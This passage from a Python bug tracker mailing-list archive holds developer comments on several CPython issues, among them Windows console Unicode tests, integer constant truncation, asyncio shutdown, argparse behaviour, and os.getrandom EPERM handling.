very recently I wrote such test, you can look at it as example http://review.source.kitware.com/gitweb?p=KWSys.git;a=blob;f=testConsoleBuf.cxx;hb=HEAD

it tests all 3 cases when output is actual console, redirected pipe and file.

----------
nosy: +davispuh

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:41:29 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 17:41:29 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1474393289.46.0.629326031365.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Oh nice, I like that. We should definitely add some tests using that (though it seems like quite a big task... maybe I'll open a new issue for it).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:44:27 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 17:44:27 +0000
Subject: [issue28217] Add interactive console tests
Message-ID: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>


New submission from Steve Dower:

We can test the interactive console by opening new console buffers (CONIN$ and CONOUT$) in the test process, then creating a subprocess with those set as the standard handles. Now we can use WriteConsoleInput from the test process to simulate the user typing at the console.

This would be useful for verifying that Unicode support works properly and that the interactive mode behaves correctly.

----------
components: Tests, Windows
messages: 277049
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: Add interactive console tests
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:45:06 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 17:45:06 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1474393506.67.0.225041772887.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Created issue28217 for adding these tests.

----------
superseder:  -> Add interactive console tests

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:50:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 20 Sep 2016 17:50:01 +0000
Subject: [issue28215] PyModule_AddIntConstant() wraps >=2^32 values when long
 is 4 bytes
In-Reply-To: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>
Message-ID: <1474393801.67.0.371969519304.issue28215@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Oh sorry, I missed the point that you are talking about an existing constant in the socket module. At first I thought that you were referring to a constant that you have added.

It sounds like a bug for constants >= 2**31.

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:52:33 2016
From: report at bugs.python.org (Kyle Altendorf)
Date: Tue, 20 Sep 2016 17:52:33 +0000
Subject: [issue28215] PyModule_AddIntConstant() wraps >=2^31 values when long
 is 4 bytes
In-Reply-To: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>
Message-ID: <1474393953.85.0.305129350952.issue28215@psf.upfronthosting.co.za>


Kyle Altendorf added the comment:

I do not seem to be getting a compiler warning.

arm-fsl-linux-gnueabi-gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -Werror=declaration-after-statement   -I. -IInclude -I./Include -I"/epc/t/262/misc-build-arm-fsl-linux-gnueabi/sysroot/root/all//opt/epc/include"   -DPy_BUILD_CORE  -c ./Modules/socketmodule.c -o Modules/socketmodule.o

To really encompass all cases I think you are correct that both a signed and an unsigned handler are needed.  Though, I have an idea for something nifty, I'll share if it works.

Regardless, shouldn't they use `intmax_t` and `uintmax_t` from stdtypes.h to make sure they handle anything that could be defined in the referenced C code?  In my case simply switching from `long` to `intmax_t` would be sufficient.

Note that I am not worried about getting this fixed for my one case.  My workaround is fine for my application.

I also will hopefully be correcting the subject to >=2**31 if this change does what I think.  Good ol' off-by-one.

----------
title: PyModule_AddIntConstant() wraps >=2^32 values when long is 4 bytes -> PyModule_AddIntConstant() wraps >=2^31 values when long is 4 bytes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 13:59:23 2016
From: report at bugs.python.org (Eric Snow)
Date: Tue, 20 Sep 2016 17:59:23 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474394363.4.0.844341347201.issue28214@psf.upfronthosting.co.za>


Eric Snow added the comment:

I agree with Serhiy that __set_name__ should be looked up on the class like all other special methods.  Pickle is a great example why lookup (of __reduce__) on the instance is a pain.

----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Tue Sep 20 14:07:27 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 20 Sep 2016 18:07:27 +0000
Subject: [issue28216] micro optimization for import_all_from
In-Reply-To: <1474391200.85.0.926486435821.issue28216@psf.upfronthosting.co.za>
Message-ID: <1474394847.16.0.326522120386.issue28216@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

As pointed out by Serhiy, PyObject_GetAttr may change __all__ so my proposal is not going to work. Close this and sorry for noise. :-(

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28216>
_______________________________________

From report at bugs.python.org  Tue Sep 20 14:31:24 2016
From: report at bugs.python.org (Kyle Altendorf)
Date: Tue, 20 Sep 2016 18:31:24 +0000
Subject: [issue28215] PyModule_AddIntConstant() wraps >=2^31 values when long
 is 4 bytes
In-Reply-To: <1474385319.74.0.546349288583.issue28215@psf.upfronthosting.co.za>
Message-ID: <1474396284.55.0.365698552648.issue28215@psf.upfronthosting.co.za>


Kyle Altendorf added the comment:

A little macro funny business gets a function the ability to know if the type passed to its wrapping macro is signed or not.

http://ideone.com/NZYs7u

<snippet>
  // http://stackoverflow.com/questions/7469915
  #define IS_UNSIGNED(v) (v >= 0 && ~v >= 0)
  #define F(v) f(IS_UNSIGNED(v), v, v)
  void f (bool is_unsigned, intmax_t s, uintmax_t u)

Looking in `Objects/longobject.c` suggests that perhaps the two functions that could be chosen from would be `PyLong_From[Unsigned]LongLong()` to avoid truncation.  Is there some reason not to use these?  I don't know the habits of CPython developers to know if there's a significant optimization going on here.

Just to throw it out there, in the case of macros, `PyLong_FromString()` might even be usable...


Included for quick reference:

    int PyModule_AddIntConstant(PyObject *m, const char *name, long value)
  https://hg.python.org/cpython/file/tip/Python/modsupport.c#l566

    PyModule_AddIntMacro(m, CAN_EFF_FLAG);
  https://hg.python.org/cpython/file/tip/Modules/socketmodule.c#l7098

    PyObject * PyLong_FromLong(long ival)
  https://hg.python.org/cpython/file/tip/Objects/longobject.c#l231

    #define PyModule_AddIntMacro(m, c) PyModule_AddIntConstant(m, #c, c)
  https://hg.python.org/cpython/file/tip/Include/modsupport.h#l80

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28215>
_______________________________________

From report at bugs.python.org  Tue Sep 20 14:55:22 2016
From: report at bugs.python.org (Petri Savolainen)
Date: Tue, 20 Sep 2016 18:55:22 +0000
Subject: [issue15797] bdist_msi does not pass -install/remove flags to
 install_script
In-Reply-To: <1346147472.01.0.0635028414042.issue15797@psf.upfronthosting.co.za>
Message-ID: <1474397722.81.0.156135719744.issue15797@psf.upfronthosting.co.za>


Petri Savolainen added the comment:

Any chance the patch could be processed?

----------
nosy: +petri
versions: +Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15797>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:16:00 2016
From: report at bugs.python.org (Petri Savolainen)
Date: Tue, 20 Sep 2016 19:16:00 +0000
Subject: [issue15797] bdist_msi does not pass -install/remove flags to
 install_script
In-Reply-To: <1346147472.01.0.0635028414042.issue15797@psf.upfronthosting.co.za>
Message-ID: <1474398960.12.0.068721546926.issue15797@psf.upfronthosting.co.za>


Petri Savolainen added the comment:

If I understood the patch correctly, while adding the '-install' and '-remove' arguments, the patch also removes sys.argv[0], ie. the (install) script name. Why? That also changes the the documented behavior.

The patch also appears to add an uninstall script. That would be a nice bonus. But should it be a separate issue & patch?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15797>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:16:30 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 20 Sep 2016 19:16:30 +0000
Subject: [issue28218] Windows docs have wrong versionadded description
Message-ID: <1474398990.63.0.365606610979.issue28218@psf.upfronthosting.co.za>


New submission from Steve Dower:

At https://docs.python.org/3.6/using/windows.html#finding-modules the versionadded description needs the reference to `sys.path file` removed.

----------
assignee: steve.dower
messages: 277058
nosy: steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: Windows docs have wrong versionadded description
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28218>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:32:43 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Tue, 20 Sep 2016 19:32:43 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1474399963.4.0.345013940679.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

Ethan, by "Ned", I am guessing that you are referring to Ned Batchelder. Is that right? If so, do we need to put him on the nosy list or do anything else to bring this to his attention?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Tue Sep 20 15:53:07 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 19:53:07 +0000
Subject: [issue28219] Is order of argparse --help output officially defined?
Message-ID: <1474401187.0.0.781761805381.issue28219@psf.upfronthosting.co.za>


New submission from Barry A. Warsaw:

Sometimes we want to control the order of arguments printed by an argparse defined cli.  In practice, arguments are printed in the order in which they are added via add_argument(), but I don't think this is documented and thus should be considered an implementation detail.  It should be possible to enforce an order by the use of a formatter_class, but you'd probably need some extra metadata on arguments to do this, so it's not completely obvious how to write such a formatter class.

Instead, I propose to document and officially support that the order of add_argument() calls defines the order in which arguments are printed via --help.

----------
assignee: docs at python
components: Documentation
messages: 277060
nosy: barry, docs at python
priority: normal
severity: normal
status: open
title: Is order of argparse --help output officially defined?
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28219>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:16:24 2016
From: report at bugs.python.org (Andrew Svetlov)
Date: Tue, 20 Sep 2016 20:16:24 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>
Message-ID: <1474402584.2.0.747399634908.issue28212@psf.upfronthosting.co.za>


Andrew Svetlov added the comment:

It's a known annoying issue.
Honestly I don't know how to fix it properly.
`transport.close()` is affected also because `protocol.connection_lost()` is called on next loop iteration only.

Adding a small `asyncio.sleep()` between finishing all worn and loop closing solves the problem for me but the solution is not obvious for newbies.

----------
nosy: +asvetlov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:17:31 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 20 Sep 2016 20:17:31 +0000
Subject: [issue28213] asyncio SSLProtocol _app_transport is private
In-Reply-To: <1474363317.54.0.62853026596.issue28213@psf.upfronthosting.co.za>
Message-ID: <1474402651.73.0.711790518836.issue28213@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy: +asvetlov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28213>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:23:03 2016
From: report at bugs.python.org (=?utf-8?b?0JrQvtC90YHRgtCw0L3RgtC40L0g0JLQvtC70LrQvtCy?=)
Date: Tue, 20 Sep 2016 20:23:03 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474402584.2.0.747399634908.issue28212@psf.upfronthosting.co.za>
Message-ID: <CAFgzoccqaxYYPis6sw81rPjnsgbXd+hPTZC1ta_n47L3gzXThA@mail.gmail.com>


?????????? ?????? added the comment:

Seems that its not so hard - in loop.remove_reader add

self._ready.append(reader)

after reader.cancel()

May be its needed to check that its not already there, but I cant imagine
how it can be.

2016-09-20 23:16 GMT+03:00 Andrew Svetlov <report at bugs.python.org>:

>
> Andrew Svetlov added the comment:
>
> It's a known annoying issue.
> Honestly I don't know how to fix it properly.
> `transport.close()` is affected also because `protocol.connection_lost()`
> is called on next loop iteration only.
>
> Adding a small `asyncio.sleep()` between finishing all worn and loop
> closing solves the problem for me but the solution is not obvious for
> newbies.
>
> ----------
> nosy: +asvetlov
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28212>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:30:27 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 20 Sep 2016 20:30:27 +0000
Subject: [issue28212] Closing server in asyncio is not efficient
In-Reply-To: <1474362608.68.0.912694843367.issue28212@psf.upfronthosting.co.za>
Message-ID: <1474403427.96.0.295942563018.issue28212@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
nosy:  -gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28212>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:44:01 2016
From: report at bugs.python.org (Santiago Castro)
Date: Tue, 20 Sep 2016 20:44:01 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474404241.13.0.864239069.issue28207@psf.upfronthosting.co.za>


Santiago Castro added the comment:

I tried with pyenv (https://github.com/yyuu/pyenv): pyenv install 3.5.2. Maybe the error is from their side, but basically it downloads Python and compiles it: https://github.com/yyuu/pyenv/blob/master/plugins/python-build/install.sh#L24

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:52:43 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 20 Sep 2016 20:52:43 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>
Message-ID: <20160920205240.81351.35111.17CE6C0D@psf.io>


Roundup Robot added the comment:

New changeset 41e9e711b9b5 by Victor Stinner in branch '3.5':
Cleanup random.c
https://hg.python.org/cpython/rev/41e9e711b9b5

New changeset ddc54f08bdfa by Victor Stinner in branch '3.5':
Catch EPERM error in py_getrandom()
https://hg.python.org/cpython/rev/ddc54f08bdfa

New changeset 27d05bb6f832 by Victor Stinner in branch '3.6':
(Merge 3.5) Catch EPERM error in py_getrandom()
https://hg.python.org/cpython/rev/27d05bb6f832

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:56:29 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 20:56:29 +0000
Subject: [issue27955] getrandom() syscall returning EPERM make the system
 unusable.
In-Reply-To: <1473081937.73.0.0253643547204.issue27955@psf.upfronthosting.co.za>
Message-ID: <1474404989.6.0.588871320322.issue27955@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I modified Python 3.5, 3.6 and 3.7 to fall back on reading /dev/urandom when getrandom() syscall fails with EPERM.

Thanks for the bug report iwings!

Note: Python 2.7 does not use getrandom() and so is not impacted.


Christian:
> Did you open a bug with your vendor, too? QNAP is clearly violating Kernel APIs. getrandom() is not suppose to fail with EPERM.

I don't know if it can be seen as a violation of the Kernel API, but at least, it doesn't seem to be something smart to block getrandom() syscall. getrandom() was designed to enhance the security of applications ;-)


Nick:
> With #27778 implemented, there's also the question of how os.getrandom() will react to security policies that restrict access to the getrandom syscalls (vs just not having it available in the kernel).

This is no question: os.getrandom() of Python 3.6 is a thin wrapper on the syscall. If the syscall fails, the Python function raises an exception ;-) OSError(EPERM) on this case.

----------
resolution:  -> fixed
status: open -> closed
versions: +Python 3.7 -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27955>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:58:28 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 20 Sep 2016 20:58:28 +0000
Subject: [issue28213] asyncio SSLProtocol _app_transport is private
In-Reply-To: <1474402651.77.0.894494856114.issue28213@psf.upfronthosting.co.za>
Message-ID: <A127089A-3743-4698-B654-5F6FAC982A84@gmail.com>


Yury Selivanov added the comment:

-1 on exposing app_protocol. It's an implementation detail, starttls should be implemented in asyncio (and while it's not, it's ok to use '_app_protocol'.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28213>
_______________________________________

From report at bugs.python.org  Tue Sep 20 16:59:59 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 20:59:59 +0000
Subject: [issue28220] argparse's add_mutually_exclusive_group() should accept
 title and description
Message-ID: <1474405199.01.0.465509381735.issue28220@psf.upfronthosting.co.za>


New submission from Barry A. Warsaw:

I'd love to sneak this into 3.6, but I can accept being too late.  In any case, _MutuallyExclusiveGroup.__init__() should accept title and description arguments and pass them to the super class.  Otherwise, you can't great a mutually exclusive group that also essentially acts as an argument group.

----------
components: Library (Lib)
messages: 277067
nosy: barry
priority: normal
severity: normal
status: open
title: argparse's add_mutually_exclusive_group() should accept title and description
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28220>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:01:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 20 Sep 2016 21:01:52 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <20160920210147.100870.58339.4530FC06@psf.io>


Roundup Robot added the comment:

New changeset d31b4de433b7 by Victor Stinner in branch '3.6':
Fix memleak in os.getrandom()
https://hg.python.org/cpython/rev/d31b4de433b7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:04:25 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 21:04:25 +0000
Subject: [issue28220] argparse's add_mutually_exclusive_group() should accept
 title and description
In-Reply-To: <1474405199.01.0.465509381735.issue28220@psf.upfronthosting.co.za>
Message-ID: <1474405465.52.0.16072418211.issue28220@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

Hmm, it might be more complicated than that, so let's ignore 3.6

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28220>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:07:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:07:21 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1474405641.94.0.685184501247.issue27778@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I pushed the fix for the issue #27955, os.urandom() now handles getrandom() failing with EPERM.

@Christian: Thanks for your review, I pushed a change fixing the two issues that you reported (memory leak and inefficient temporarily buffer).

I attached getrandom_errno.patch: a change proposing to document ENOSYS and EPERM. What do you think?

----------
Added file: http://bugs.python.org/file44760/getrandom_errno.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:09:09 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 21:09:09 +0000
Subject: [issue28220] argparse's add_mutually_exclusive_group() should accept
 title and description
In-Reply-To: <1474405199.01.0.465509381735.issue28220@psf.upfronthosting.co.za>
Message-ID: <1474405749.18.0.0501081885356.issue28220@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

The workaround is to do something like:

group = parser.add_argument_group(title, description)
me_group = group.add_mutually_exclusive_group()
me_group.add_argument(...blah blah blah...)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28220>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:14:17 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:14:17 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1474406057.61.0.996442327891.issue27990@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm not excited by the idea of using hardcoded constants for getrandom(). There is a risk of using wrong constants depending on the architecture or the Linux kernel version.

The code is already very low-level: it calls directly the syscall using syscall() function. getrandom() has no nice glibc clean API yet:
https://sourceware.org/bugzilla/show_bug.cgi?id=17252

I suggest to close the issue as WONTFIX. It's ok to use a file descriptor and read /dev/urandom. getrandom() is nice to have, but it's not really a killer feature.

For Fedora: sure, you can use vendor patches to workaround your technical issue, builders using an old kernel :-) But it would be simpler to upgrade the builder, no? :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:28:44 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:28:44 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1474406924.02.0.422957410302.issue27292@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Please ensure that the documentation properly warns users about these edge cases.

I disagree. I don't think that the Python documentation is the right place to document the security level of system urandom.

It's just a mess, there are so many corner cases and it's very hard to provide a clear explanation for end users.

I suggest to keep the positive "suitable for cryptographic use". If you change this sentence, I only expect that users will use something WORSE. For example "os.urandom is not secure! we must use ssl.RAND_bytes!". No. Don't do that, ssl.RAND_bytes() has its own set of issues, like two processes with the same pid producing the same random sequence... (old known issue, very hard to fix)

Python cannot workaround OS limitations, we can only do our best to use the most secure source of entropy. That's why Python 3.5 now uses getrandom() on Linux. That's why Python 3.6 now calls getrandom() in blocking mode.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:50:49 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:50:49 +0000
Subject: [issue22542] Use arc4random under OpenBSD for os.urandom() if
 /dev/urandom is not present
In-Reply-To: <1412272060.2.0.302379812254.issue22542@psf.upfronthosting.co.za>
Message-ID: <1474408249.48.0.311923232912.issue22542@psf.upfronthosting.co.za>


STINNER Victor added the comment:

"Trying to run the python interpreter in a chroot fails if /dev/urandom is not present."

The workaround is simple: fix your chroot to correctly expose /dev/urandom in the chroot. It's a common and known issue, no?

Since the issue is almost dead since 2 years and I don't know if arc4random() is suitable for os.urandom(), I close the issue. If you want to reopen it, please come back with more information on arc4random() security ;-)

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22542>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:57:19 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:57:19 +0000
Subject: [issue27282] Raise BlockingIOError in os.urandom if kernel is not
 ready
In-Reply-To: <1465492471.33.0.216651020658.issue27282@psf.upfronthosting.co.za>
Message-ID: <1474408639.18.0.998357705975.issue27282@psf.upfronthosting.co.za>


STINNER Victor added the comment:

This idea is the PEP 522 which was superseded by the PEP 524 (accepted in Python 3.6) which proposed to make os.urandom() blocking.

----------
nosy: +haypo
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27282>
_______________________________________

From report at bugs.python.org  Tue Sep 20 17:59:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 21:59:56 +0000
Subject: [issue25470] Random Malloc error raised
In-Reply-To: <1445695572.21.0.810479855368.issue25470@psf.upfronthosting.co.za>
Message-ID: <1474408796.09.0.293566221277.issue25470@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Python 3.6 got a builtin debugging tool to detect buffer under- and overflow: PYTHONMALLOC=debug

https://docs.python.org/dev/whatsnew/3.6.html#pythonmalloc-environment-variable

In most cases, an error in PyObject_Free() is a hint of a buffer overflow. So I close the issue.

----------
nosy: +haypo
resolution:  -> third party
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25470>
_______________________________________

From report at bugs.python.org  Tue Sep 20 18:40:14 2016
From: report at bugs.python.org (Xavion)
Date: Tue, 20 Sep 2016 22:40:14 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474411214.98.0.834350821012.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

Firstly, you've misquoted me.  The quote you attributed to me in your latest post was actually made by 'ztane'.

Secondly, your extra thread/event code makes no difference here.  I will attach the memory usage logs in subsequent posts.

For consistency, I have removed all of the collateral stuff from your "Test-3.py" script and reattached it here as "Test-3a.py".

----------
resolution: not a bug -> 
status: closed -> open
title: The 'subprocess' module leaks 4 kiB memory for each thread -> The 'subprocess' module leaks memory when called in certain ways
Added file: http://bugs.python.org/file44761/Test-3a.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 18:41:14 2016
From: report at bugs.python.org (Xavion)
Date: Tue, 20 Sep 2016 22:41:14 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474411274.73.0.13919189755.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44762/Test-3a-no-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 18:41:54 2016
From: report at bugs.python.org (Xavion)
Date: Tue, 20 Sep 2016 22:41:54 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474411314.07.0.735741103003.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Added file: http://bugs.python.org/file44763/Test-3a-gc.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 18:46:24 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 20 Sep 2016 22:46:24 +0000
Subject: [issue28217] Add interactive console tests
In-Reply-To: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>
Message-ID: <1474411584.76.0.142913930665.issue28217@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Here's the ctypes code (mentioned on issue 1602) for writing to the input buffer and reading from the screen buffer. For output testing I also have a context manager to create and temporarily activate a new screen buffer with a given number of columns and rows and filled with a particular character (e.g. NUL), which makes it easier to read the output up to the current cursor position. 

Activating the new screen can be factored out if you're just testing a child writing to stdout. I added the screen activation part in order to read the output from a program that was stubbornly writing to CONOUT$, ignoring the pipe that was passed as stdout.

----------
nosy: +eryksun
Added file: http://bugs.python.org/file44764/conin.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Tue Sep 20 18:47:45 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 20 Sep 2016 22:47:45 +0000
Subject: [issue28217] Add interactive console tests
In-Reply-To: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>
Message-ID: <1474411665.22.0.934661214787.issue28217@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Added file: http://bugs.python.org/file44765/conout.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Tue Sep 20 19:00:15 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 20 Sep 2016 23:00:15 +0000
Subject: [issue28220] argparse's add_mutually_exclusive_group() should accept
 title and description
In-Reply-To: <1474405199.01.0.465509381735.issue28220@psf.upfronthosting.co.za>
